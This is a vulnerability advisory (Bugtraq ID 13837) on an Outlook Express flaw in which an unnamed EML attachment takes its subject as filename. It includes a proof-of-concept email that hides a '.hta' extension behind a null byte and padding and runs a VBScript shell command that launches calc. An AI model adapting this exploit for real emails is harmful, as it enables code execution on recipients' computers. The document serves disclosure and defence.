Microsoft Outlook Express Attachment Processing File Extension Obfuscation Vulnerability

Bugtraq ID:	13837
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	No
Published:	Jun 01 2005 12:00AM
Updated:	Jun 01 2005 12:00AM
Credit:	Discovery of this issue is credited to "Benjamin Tobias Franz" <[email protected]>.
Vulnerable:	Microsoft Outlook Express 5.0.1 Microsoft Outlook Express 4.72.3612 Microsoft Outlook Express 4.72.3120 Microsoft Outlook Express 4.72.2106 Microsoft Outlook Express 4.27.3110 Microsoft Outlook Express 4.0.1 SP2 Microsoft Outlook Express 6.0 SP1 + Microsoft Windows XP 64-bit Edition SP1 + Microsoft Windows XP 64-bit Edition SP1 + Microsoft Windows XP Home SP1 + Microsoft Windows XP Home SP1 + Microsoft Windows XP Professional SP1 + Microsoft Windows XP Professional SP1 Microsoft Outlook Express 6.0 + Microsoft Windows Server 2003 Datacenter Edition + Microsoft Windows Server 2003 Datacenter Edition + Microsoft Windows Server 2003 Datacenter Edition + Microsoft Windows Server 2003 Datacenter Edition Itanium 0 + Microsoft Windows Server 2003 Datacenter Edition Itanium 0 + Microsoft Windows Server 2003 Datacenter Edition Itanium 0 + Microsoft Windows Server 2003 Enterprise Edition + Microsoft Windows Server 2003 Enterprise Edition + Microsoft Windows Server 2003 Enterprise Edition + Microsoft Windows Server 2003 Enterprise Edition Itanium 0 + Microsoft Windows Server 2003 Enterprise Edition Itanium 0 + Microsoft Windows Server 2003 Enterprise Edition Itanium 0 + Microsoft Windows Server 2003 Itanium SP2 + Microsoft Windows Server 2003 Itanium SP2 + Microsoft Windows Server 2003 Itanium SP1 + Microsoft Windows Server 2003 Itanium SP1 + Microsoft Windows Server 2003 Standard Edition + Microsoft Windows Server 2003 Standard Edition + Microsoft Windows Server 2003 Standard Edition + Microsoft Windows Server 2003 Standard x64 Edition + Microsoft Windows Server 2003 Standard x64 Edition + Microsoft Windows Server 2003 Web Edition + Microsoft Windows Server 2003 Web Edition + Microsoft Windows Server 2003 Web Edition + Microsoft Windows Server 2003 x64 SP2 + Microsoft Windows Server 2003 x64 SP2 + Microsoft Windows XP 64-bit Edition + Microsoft Windows XP 64-bit Edition + Microsoft Windows XP Home + Microsoft Windows XP Home + Microsoft Windows XP Home + Microsoft Windows XP Media Center Edition SP2 + Microsoft Windows XP Media Center Edition SP2 + Microsoft Windows XP Media Center Edition + Microsoft Windows XP Media Center Edition + Microsoft Windows XP Media Center Edition + Microsoft Windows XP Professional + Microsoft Windows XP Professional + Microsoft Windows XP Professional + Microsoft Windows XP Professional x64 Edition SP2 + Microsoft Windows XP Professional x64 Edition SP2 + Microsoft Windows XP Tablet PC Edition SP2 + Microsoft Windows XP Tablet PC Edition SP2 + Microsoft Windows XP Tablet PC Edition + Microsoft Windows XP Tablet PC Edition Microsoft Outlook Express 5.5 SP2 + Microsoft Windows 2000 Advanced Server SP4 + Microsoft Windows 2000 Advanced Server SP4 + Microsoft Windows 2000 Advanced Server SP3 + Microsoft Windows 2000 Advanced Server SP3 + Microsoft Windows 2000 Datacenter Server SP4 + Microsoft Windows 2000 Datacenter Server SP4 + Microsoft Windows 2000 Datacenter Server SP3 + Microsoft Windows 2000 Datacenter Server SP3 + Microsoft Windows 2000 Professional SP4 + Microsoft Windows 2000 Professional SP4 + Microsoft Windows 2000 Professional SP3 + Microsoft Windows 2000 Professional SP3 + Microsoft Windows 2000 Server SP4 + Microsoft Windows 2000 Server SP4 + Microsoft Windows 2000 Server SP3 + Microsoft Windows 2000 Server SP3 + Microsoft Windows ME + Microsoft Windows ME Microsoft Outlook Express 5.5 SP1 Microsoft Outlook Express 5.5 + Microsoft Internet Explorer 5.0.1 for Windows NT 4.0 + Microsoft Internet Explorer 5.0.1 for Windows NT 4.0 + Microsoft Internet Explorer 5.0.1 for Windows 98 + Microsoft Internet Explorer 5.0.1 for Windows 98 + Microsoft Internet Explorer 5.0.1 for Windows 95 + Microsoft Internet Explorer 5.0.1 for Windows 95 + Microsoft Internet Explorer 5.0.1 for Windows 2000 + Microsoft Internet Explorer 5.0.1 for Windows 2000 + Microsoft Internet Explorer 5.0.1 + Microsoft Internet Explorer 5.0.1 + Microsoft Internet Explorer 5.5 + Microsoft Internet Explorer 5.5 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows 98SE - Microsoft Windows 98SE - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 Microsoft Outlook Express 5.0 Microsoft Outlook Express 4.0
Not Vulnerable:

Microsoft Outlook Express Attachment Processing File Extension Obfuscation Vulnerability

Microsoft Outlook Express is prone to an attachment file extension obfuscation vulnerability that may present a risk under certain configurations.

The issue manifests due to Microsoft Outlook Express behavior while handling an 'EML' email attachment. If the email attachment does not have a filename, the subject of the attached email message is used as the filename.

Reports indicate that this may be leveraged to make the attached email message executable. It is possible to cause a default file handler to be invoked to process the attached email message. Potentially allowing for code execution.

This issue may lure a victim into a false sense of security and may result in inadvertent or unintentional execution of attacker-supplied code.

Microsoft Outlook Express Attachment Processing File Extension Obfuscation Vulnerability

The following proof of concept is available:

===>>> PoC - Start <<<===
From:"Benjamin Tobias Franz"<[email protected]>
To:You
Subject:MSOE - Attachment Download Security Restriction Bypass
Date:Wed, 1 Jun 2005
Content-Type:multipart/mixed;boundary="btf"

--btf
Content-Type: text/plain;

Open the attachment and you will see:
MS OE will not show the correct warning message (for software)
and not the type of the file.


Regards,

Benjamin Tobias Franz
Germany
--btf
Content-Type:message/rfc822
Content-Transfer-Encoding:quoted-printable

<!--
Subject:BTF's MSOE Attachment Download Security Restriction Bypass=
.hta=00.btfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtf=
btfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtf=
btfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtf=
btfbtf
-->
<title>YOU ARE VULNERABLE</title>
<script language=3Dvbscript>set btf=3Dcreateobject("wscript.shell")=
:btf.run("calc")</script><body style=3D"background-color:red;font-si=
ze:40px;"><b>YOU ARE VULNERABLE!!!</b><br><br><br>Regards,<br><br>
Benjamin Tobias Franz<br>Germany</body>
--btf--

===>>> PoC - End <<<===

Microsoft Outlook Express Attachment Processing File Extension Obfuscation Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Microsoft Outlook Express Attachment Processing File Extension Obfuscation Vulnerability

References: